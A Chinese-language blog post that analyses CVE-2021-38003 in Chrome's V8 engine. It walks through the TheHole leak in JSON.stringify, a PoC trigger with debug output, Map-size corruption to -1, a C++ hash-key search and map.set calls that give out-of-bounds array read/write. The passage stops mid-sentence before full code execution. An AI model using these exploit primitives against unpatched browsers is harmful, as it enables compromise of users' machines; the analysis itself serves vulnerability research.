深入解析CVE-2021-38003:V8引擎中TheHole泄漏导致的浏览器RCE漏洞

本文详细分析了CVE-2021-38003漏洞的成因和利用过程,该漏洞存在于V8 JavaScript引擎中,允许攻击者通过泄漏TheHole特殊值实现渲染器远程代码执行。

TheHole新世界 - 小泄漏如何击沉大浏览器 (CVE-2021-38003)

引言

CVE-2021-38003是一个存在于V8 JavaScript引擎中的漏洞。该漏洞影响Chrome浏览器95.0.4638.69之前的稳定版本,于2021年10月在Google的Chrome发布博客中披露,而错误报告于2022年2月公开。

该漏洞会导致V8中称为TheHole的特殊值泄漏到脚本中。这可能导致基于Chromium的浏览器中的渲染器RCE,并且已在野外被利用。

在本文中,我将讨论漏洞的根本原因,以及我如何利用该漏洞并在易受攻击的Chromium浏览器版本上实现RCE。

深入漏洞分析

该漏洞发生在V8尝试处理JSON.stringify()中的异常时。如错误报告中所述,当内置函数内部引发异常时,会设置相应Isolate的pending_exception成员。之后,调用代码将跳入V8的异常处理机制,从活动isolate中获取pending_exception成员,并使用它调用当前活动的JavaScript异常处理程序。

请注意,当没有挂起的异常时,pending_exception成员设置为特殊值TheHole,这意味着如果尝试从空的pending_exception中获取异常,将导致TheHole值泄漏到脚本中,这正是此漏洞中发生的情况。

在尝试使用JSON.stringify()序列化JSON数组时,V8将具有以下调用路径:

JsonStringifier::Stringify() -> JsonStringifier::Serialize_() -> JsonStringifier::SerializeJSArray() -> JsonStringifier::SerializeArrayLikeSlow() // 漏洞存在处

查看这些函数中的代码,我们会发现大多数异常都与isolate_->Throw(…)之类的代码配对。例如,在JsonStringifier::SerializeArrayLikeSlow()中:

1
2
3
4
5
6
// We need to write out at least two characters per array element.
static const int kMaxSerializableArrayLength = String::kMaxLength / 2;
if (length > kMaxSerializableArrayLength) {
  isolate_->Throw(*isolate_->factory()->NewInvalidStringLengthError());
  return EXCEPTION;
}

isolate_->Throw将调用Isolate::ThrowInternal(),最终设置挂起的异常。稍后,当它返回EXCEPTION时,将在异常处理期间从pending_exception中获取异常。由于之前已设置挂起的异常,因此可以毫无问题地获取异常。

但是,有一个实例V8会在未首先设置挂起异常的情况下获取异常。在JsonStringifier::SerializeArrayLikeSlow()中:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
HandleScope handle_scope(isolate_);
for (uint32_t i = start; i < length; i++) {
  Separator(i == 0);
  Handle<Object> element;
  ASSIGN_RETURN_ON_EXCEPTION_VALUE(
      isolate_, element, JSReceiver::GetElement(isolate_, object, i),
      EXCEPTION);
  Result result = SerializeElement(isolate_, element, i); // [1]
  if (result == SUCCESS) continue;
  if (result == UNCHANGED) {
    // Detect overflow sooner for large sparse arrays.
    if (builder_.HasOverflowed()) return EXCEPTION; // [2]
    builder_.AppendCStringLiteral("null");
  } else {
    return result;
  }
}

在序列化期间([1]),代码将检查序列化过程中是否有任何错误。其中一个错误是在将序列化字符串附加到结果时出现溢出错误([2])。如果发生错误,它将引发异常。在SerializeElement调用期间,它最终将调用v8::internal::IncrementalStringBuilder::Accumulate()并尝试检测是否有任何溢出错误。v8::internal::IncrementalStringBuilder::Accumulate()可以通过以下函数之一调用:

  • v8::internal::IncrementalStringBuilder::Extend
  • v8::internal::IncrementalStringBuilder::Finish

如果Accumulate()由Finish()函数内部的Finish()调用,它将尝试检查Accumulate()是否检测到溢出错误。如果是,它将抛出错误,挂起异常:

1
2
3
4
5
6
7
8
9
MaybeHandle<String> IncrementalStringBuilder::Finish() {
  ShrinkCurrentPart();
  Accumulate(current_part());
  // Here it will throw the error if it's overflowed
  if (overflowed_) {
    THROW_NEW_ERROR(isolate_, NewInvalidStringLengthError(), String);
  }
  return accumulator();
}

但是,如果Accumulate()由Extend()调用,则情况并非如此。在Extend()中,它不会进行任何溢出检查,因此即使Accumulate()检测到溢出错误,它也不会挂起任何异常。由于SerializeElement中Accumulate()由Extend()调用,这意味着即使发生溢出错误,挂起的异常仍然不会设置,加上在返回EXCEPTION之前没有isolate_->Throw,使得挂起的异常完全为空。稍后当它尝试从pending_exception中获取异常时,它将获取TheHole值并将其传递给脚本,从而导致漏洞。

概念验证分析

以下是错误报告中的PoC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
function trigger() {
    let a = [], b = [];
    let s = '"'.repeat(0x800000);
    a[20000] = s;
    for (let i = 0; i < 10; i++) a[i] = s;
    for (let i = 0; i < 10; i++) b[i] = a;

    try {
        JSON.stringify(b);
    } catch (hole) {
        return hole;
    }
    throw new Error('could not trigger');
}

let hole = trigger();
console.log(hole);
%DebugPrint(hole);

在trigger()函数中,它尝试创建一个包含长字符串的数组。因此,稍后当它执行JSON.stringify(b);时,它将触发溢出错误,使其能够从pending_exception中获取TheHole值并将其返回给脚本。通过try-catch语句,我们可以捕获异常(TheHole)并将其用于进一步利用。我们可以通过检查执行结果来验证TheHole值:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
> ./d8 ./poc.js --allow-natives-syntax
hole
DebugPrint: 0x19be0804242d: [Oddball] in ReadOnlySpace: #hole
0x19be08042405: [Map] in ReadOnlySpace
 - type: ODDBALL_TYPE
 - instance size: 28
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - non-extensible
 - back pointer: 0x19be080423b5 <undefined>
 - prototype_validity cell: 0
 - instance descriptors (own) #0: 0x19be080421c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
 - prototype: 0x19be08042235 <null>
 - constructor: 0x19be08042235 <null>
 - dependent code: 0x19be080421b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

注意%DebugPrint打印出#hole对象。这个V8内部对象永远不应该返回给我们的脚本以供进一步使用,但我们仍然能够通过漏洞获取该对象。

利用过程

破坏map大小

那么我们如何利用单个hole对象来利用漏洞呢?这里我们以错误报告中的PoC作为参考:

1
2
3
4
5
6
7
8
9
let hole = trigger(); // 获取hole值

var map = new Map();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
// 现在map.size = -1

上面的代码片段将使map的大小变为-1。这是由于JSMap中TheHole值的特殊处理而发生的。当V8尝试删除map中的键值时,它将运行以下代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) {
  const auto receiver = Parameter<Object>(Descriptor::kReceiver);
  const auto key = Parameter<Object>(Descriptor::kKey);
  const auto context = Parameter<Context>(Descriptor::kContext);

  ThrowIfNotInstanceType(context, receiver, JS_MAP_TYPE,
                         "Map.prototype.delete");

  const TNode<OrderedHashMap> table =
      LoadObjectField<OrderedHashMap>(CAST(receiver), JSMap::kTableOffset);

  TVARIABLE(IntPtrT, entry_start_position_or_hash, IntPtrConstant(0));
  Label entry_found(this), not_found(this);

  TryLookupOrderedHashTableIndex<OrderedHashMap>(
      table, key, &entry_start_position_or_hash, &entry_found, &not_found);

  BIND(&not_found);
  Return(FalseConstant());

  BIND(&entry_found);
  
  // [1]
  // 如果找到条目,将条目标记为已删除。
  StoreFixedArrayElement(table, entry_start_position_or_hash.value(),
                         TheHoleConstant(), UPDATE_WRITE_BARRIER,
                         kTaggedSize * OrderedHashMap::HashTableStartIndex());
  StoreFixedArrayElement(table, entry_start_position_or_hash.value(),
                         TheHoleConstant(), UPDATE_WRITE_BARRIER,
                         kTaggedSize * (OrderedHashMap::HashTableStartIndex() +
                                        OrderedHashMap::kValueOffset));

  // 减少元素数量,并增加已删除元素的数量。
  const TNode<Smi> number_of_elements = SmiSub(
      CAST(LoadObjectField(table, OrderedHashMap::NumberOfElementsOffset())),
      SmiConstant(1));
  StoreObjectFieldNoWriteBarrier(
      table, OrderedHashMap::NumberOfElementsOffset(), number_of_elements);
  const TNode<Smi> number_of_deleted =
      SmiAdd(CAST(LoadObjectField(
                 table, OrderedHashMap::NumberOfDeletedElementsOffset())),
             SmiConstant(1));
  StoreObjectFieldNoWriteBarrier(
      table, OrderedHashMap::NumberOfDeletedElementsOffset(),
      number_of_deleted);

  const TNode<Smi> number_of_buckets = CAST(
      LoadFixedArrayElement(table, OrderedHashMap::NumberOfBucketsIndex()));

  // [2]
  // 如果元素数量少于#buckets / 2,缩小表。
  Label shrink(this);
  GotoIf(SmiLessThan(SmiAdd(number_of_elements, number_of_elements),
                     number_of_buckets),
         &shrink);
  Return(TrueConstant());

  BIND(&shrink);
  CallRuntime(Runtime::kMapShrink, context, receiver);
  Return(TrueConstant());
}

在[1]处,当它尝试删除相应的条目时,它将键和值覆盖为TheHole。由于我们有一个条目(hole, 1),将键覆盖为TheHole不会删除该条目,因为键已经是TheHole。这将使我们能够多次删除(hole, 1)条目,从而破坏map的大小。

但是,我们注意到在PoC中,它只删除(hole, 1)两次,然后删除(1, 1)而不是(hole, 1)。这是因为在[2]处,它将尝试检测元素数量是否少于桶数/2,如果是,它将尝试缩小map并删除hole值,使我们无法再次删除(hole, 1)。这就是为什么我们需要(1, 1)条目,这样我们可以删除它以使map.size等于-1。

因此,这是PoC中实际发生的情况:

  1. 在map中设置(1, 1)和(hole, 1)。现在元素计数=2,桶计数=2。
  2. 删除(hole, 1)。现在元素计数=1,桶计数=2。
  3. 再次删除(hole, 1)。现在元素计数=0,桶计数=2。由于元素计数<桶计数/2,它将缩小map并删除hole值。
  4. 现在map中没有hole值,因此我们无法再删除(hole, 1)。但是,map中仍有(1, 1),因此我们删除该条目。这将使元素计数减少1,使元素计数(= map.size)等于-1。

修改map结构

在继续利用之前,我们必须了解map在内存中的样子。整个map结构可以图示如下(取自Andrey Pechkurov的精彩博客文章):

我们可以看到它是一个由三部分组成的数组:

  • 头部:包括条目计数(元素计数)、已删除计数和桶计数。
  • hashTable:存储桶的索引。注意此表的大小取决于header[2],即桶计数。
  • dataTable:存储键、值和链中下一个条目的索引。注意此表的大小也取决于header[2](桶计数)

通过一些调试,我们会知道在map.size变为-1后,下一个map.set()将让我们控制header[2](桶计数)和hashTable[0]的值。如果我们可以覆盖桶计数,意味着我们将能够控制hashTable和dataTable的大小。通过将桶计数设置为较大的数字,我们将使dataTable超出其边界。因此,我们可以通过执行map.set()(这将更新dataTable)来实现OOB写入。这很重要,因为当我们使用var map = new Map();创建map时,map实际上是一个固定大小的数组(默认为0x11)。

因此,这是我们的计划:

  1. 使map的大小变为-1后,我们将一个浮点数数组(我们称之为oob_arr)放置在map后面。
  2. 接下来,我们使用map.set()控制桶计数和hashTable[0]的值。这将使我们能够控制hashTable和dataTable的大小。我们只需要将桶计数设置得足够大,以便dataTable可以与oob_arr重叠。
  3. 我们再次使用map.set()更新dataTable,覆盖oob_arr的结构。这里我们覆盖其长度,以便稍后我们可以使用此数组实现OOB读/写。

使用oob_arr实现OOB读/写

为了覆盖oob_arr的长度,我们需要处理一些细节。首先,我们需要了解map.set()的工作原理。以下是map更新方式的简化伪代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
hash_table_index = hashcode(key) & (bucket_count-1)
current_index = current_element_count

if hashTable[hash_table_index] == -1: 
  // 添加新的键值
  // 无边界检查
  dataTable[current_index].key = key
  dataTable[current_index].value = value
  ..........
else:
  // 更新map中现有的键值
  // 有边界检查

在更新map期间,它将检查键是否已存在于当前map中。如果存在,它将更新当前map中的现有键值,同时执行边界检查。

由于这将使我们的利用失败,我们必须避免此代码路径,这意味着我们必须确保hashTable[hash_table_index]等于-1。我们可以控制的唯一hashTable条目是hashTable[0],这意味着我们必须确保hashcode(key) & (bucket_count-1)等于0。对于hashcode函数,V8使用一个众所周知的哈希函数,我们可以在线找到代码。使用此代码,我们将能够控制hashcode(key)的值。另一件要注意的事情是,在我们设置桶计数和hashTable[0]之后,current_index将变为0,因此我们还必须确保桶计数足够大,以便稍后当我们更新dataTable[0].key时,我们的键将覆盖oob_arr.length。

总结一下,我们需要仔细设置几个值:

  • 桶计数:桶计数应足够大,以便当我们更新dataTable[0].key时,它将覆盖oob_arr.length。
  • hashTable[0]:我们必须将hashTable[0]设置为-1,以便稍后当我们执行map.set()时,它将通过hashTable[hash_table_index] == -1语句并更新dataTable[0].key。
  • 键:在我们设置桶计数和hashTable[0]之后,下一个map.set()将覆盖oob_arr的长度。我们必须确保键值足够大以实现OOB读/写。此外,我们必须确保hashcode(key) & (bucket_count-1)等于0。

通过使用调试器检查内存布局,我们会知道桶计数应设置为0x1c。然后,我们可以编写一个简单的C++程序来计算键的值:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <bits/stdc++.h>

using namespace std;

uint32_t ComputeUnseededHash(uint32_t key) {
    uint32_t hash = key;
    hash = ~hash + (hash << 15);  // hash = (hash << 15) - hash - 1;
    hash = hash ^ (hash >> 12);
    hash = hash + (hash << 2);
    hash = hash ^ (hash >> 4);
    hash = hash * 2057;  // hash = (hash + (hash << 3)) + (hash << 11);
    hash = hash ^ (hash >> 16);
    return hash & 0x3fffffff;
}

int main(int argc, char *argv[]) {
    uint32_t i = 0;
    while(i <= 0xffffffff) {
        
        /* bucket_count is 0x1c
         * hashcode(key) & (bucket_count-1) should become 0
         * we'll have to find a key that is large enough to achieve OOB read/write, while matching hashcode(key) & 0x1b == 0
         */
        
        uint32_t hash = ComputeUnseededHash(i);
        if (((hash&0x1b) == 0) && (i > 0x100)) {
            printf("Found: %p\n", i);
            break;
        }
        i = (uint32_t)i+1;
    }
    return 0;
}

这里我们找到一个键值0x111符合我们的需求。在使map.size = -1之后,我们可以使用以下代码片段在浮点数组中实现OOB读/写:

1
2
3
4
5
6
7
8
// oob数组。此数组的大小将被map覆盖,因此可以执行OOB读/写
oob_arr = [1.1, 1.1, 1.1, 1.1];

// map中的OOB写入,将oob_arr的大小覆盖为0x111
map.set(0x1c, -1); // bucket_count = 0x1c, hashTable[0] = -1
map.set(0x111, 0); // hashcode(0x111) & (bucket_count-1) == 0, 将oob_arr的长度覆盖为0x111

// 现在oob_arr.length == 
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计